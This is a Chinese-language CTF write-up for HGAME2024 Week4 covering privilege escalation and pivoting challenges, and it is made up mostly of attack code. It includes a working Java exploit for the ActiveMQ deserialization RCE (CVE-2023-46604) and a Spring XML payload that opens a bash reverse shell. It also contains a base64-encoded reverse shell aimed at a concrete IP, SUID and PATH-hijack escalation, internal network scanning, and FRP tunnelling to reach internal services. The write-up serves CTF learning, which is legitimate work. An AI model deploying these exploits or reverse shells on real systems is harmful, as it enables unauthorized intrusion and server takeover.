HGAME2024 Week4 Writeup

Author:Ec3o

Web

Reverse and Escalation.

CVE-2023-46604(ActiveMQ 远程代码执行漏洞)

Exp

```java
import java.io.*;
import java.net.Socket;

public class ActiveMQ {
    public static void main(final String[] args) throws Exception {
        System.out.println("[*] Poc for ActiveMQ openwire protocol rce");
        String ip = "139.224.232.162";
        int port = 31449;
        String pocxml= "http://VPS-IP:PORT/poc.xml";
        Socket sck = new Socket(ip, port);
        OutputStream os = sck.getOutputStream();
        DataOutputStream out = new DataOutputStream(os);
        out.writeInt(0); //无所谓
        out.writeByte(31); //dataType ExceptionResponseMarshaller
        out.writeInt(1); //CommandId
        out.writeBoolean(true); //ResponseRequired
        out.writeInt(1); //CorrelationId
        out.writeBoolean(true);
        //use true -> red utf-8 string
        out.writeBoolean(true);
        out.writeUTF("org.springframework.context.support.ClassPathXmlApplicationContext");
        //use true -> red utf-8 string
        out.writeBoolean(true);
        out.writeUTF(pocxml);
        //call org.apache.activemq.openwire.v1.BaseDataStreamMarshaller#createThrowable cause rce
        out.close();
        os.close();
        sck.close();
        System.out.println("[*] Target\t" + ip + ":" + port);
        System.out.println("[*] XML address\t" + pocxml);
        System.out.println("[*] Payload send success.");
    }
}
```

poc.xml

```xml
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd">
 <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
    <constructor-arg>
      <list>
        <value>bash</value>
        <value>-c</value>
    <value><![CDATA[bash -i >& /dev/tcp/VPS-IP/PORT 0>&1]]></value>
      </list>
    </constructor-arg>
  </bean>
</beans>
```

启动VPS文件服务

```
python3 -m http.server <PORT>
```

开始攻击

```
[*] Poc for ActiveMQ openwire protocol rce
[*] Target  139.224.232.162:31449
[*] XML address http://VPS-IP:PORT/poc.xml
[*] Payload send success.
```

接收反弹shell

```
nc -lvvp <PORT>
```

shell suid 提权

```
find abc -exec cat /flag {} \;
```

flag: `hgame{5e12b279b71d43e6ffb9aef5074e026bc2cc4d1d}`

Reverse and Escalation.II

和上题一样获取反弹shell之后发现find文件被改写了

base64编码之后输出，本地解码进行逆向查看逻辑

```c
int __cdecl main(int argc, const char **argv, const char **envp)
{
  unsigned int v3; // eax
  unsigned int v4; // eax
  unsigned int v6; // [rsp+20h] [rbp-10h]
  unsigned int v7; // [rsp+24h] [rbp-Ch]
  int i; // [rsp+28h] [rbp-8h]
  int v9; // [rsp+2Ch] [rbp-4h]

  v3 = time(0LL);
  srand(v3);
  v9 = 0;
  for ( i = 1; i < argc; ++i )
  {
    v7 = rand() % 23333;
    v6 = rand() % 23333;
    printf("%d + %d = \n", v7, v6);
    if ( v7 + v6 != atoi(argv[i]) )
    {
      puts("wrong answer!");
      return 1;
    }
    v4 = atoi(argv[i]);
    printf("%d correct!\n", v4);
    if ( ++v9 > 38 )
    {
      setuid(0);
      system("ls");



      return 0;
    }
  }
  return 0;
}
```

Exp

```
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <string.h>

int main() {
    srand(time(NULL));
    char command[1024] = "find "; // 或者其他的命令

    // 生成命令参数
    for (int i = 0; i < 39; ++i) {
        unsigned int rand1 = rand() % 23333;
        unsigned int rand2 = rand() % 23333;
        char buffer[50];
        sprintf(buffer, "%u ", rand1 + rand2); // 假设参数就是这些随机数和
        strcat(command, buffer);
    }

    // 执行命令
    system(command);

    return 0;
}
```

编译成二进制文件并上传到服务器，利用wget下载并chmod执行加权

利用环境变量攻击

```
echo '#!/bin/bash' > ls
echo 'cat /flag' >> ls
chmod +x ls
```

```
mkdir /tmp/fakebin
mv ls /tmp/fakebin/
```

```
export PATH=/tmp/fakebin:$PATH
```

flag: `hgame{cc759c5e97b0e33d92ebf6c7f7dd69207a9c7ced}`

Whose home?

考点：qBittorrent默认凭据登录+反弹shell+SUID提权+内网扫描+FRP穿透+任意文件写入+ssh远程登录

```
nc -lvvp PORT
```

```
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTEuMjI5LjIxMC43NS8yMzMzMyAwPiYx}|{base64,-d}|{bash,-i}
```

```
LFILE=/flag
iconv -f ISO-8859-1 -t ISO-8859-1 "$LFILE"
```

flag1: `hgame{0df8f53902e9947063160607b37a9f524fdf52d9}`

```
cd /tmp
wget https://github.com/shadow1ng/fscan/releases/download/1.8.3/fscan -O fscan
chmod +x fscan
```

内网端口：发现一个.4主机开放了一个6800端口，查询应该是aria2下载器的服务

```
wget
https://github.com/fatedier/frp/releases/download/v0.36.2/frp_0.36.2_linux_amd64.tar.gz
tar -xvf frp_0.36.2_linux_amd64.tar.gz
cd frp_0.36.2_linux_amd64
```

公网服务器启动：

修改frps.ini

```
[common]
bind_port = 8000
```

启动服务

```
./frps -c frps.ini
```

配置frpc

```
[common]
server_addr = 111.229.210.75
server_port = 8000

[aria2]
type = tcp
local_ip = 100.64.43.4
local_port = 6800
remote_port = 6666
```

```
./frpc -c frpc.ini
```

文件写入：

```
echo "[common]
server_addr = <公网服务器IP>
server_port = 8000

[ssh]
type = tcp
local_ip = 100.64.43.4
local_port = 22
remote_port = 6000

[aria2]
type = tcp
local_ip = 100.64.43.4
local_port = 6800
remote_port = 6666" > frpc.ini
```

frp将ssh服务穿透到外网，利用任意文件写入覆写sshkey实现登录

没打通，似乎有个token要找...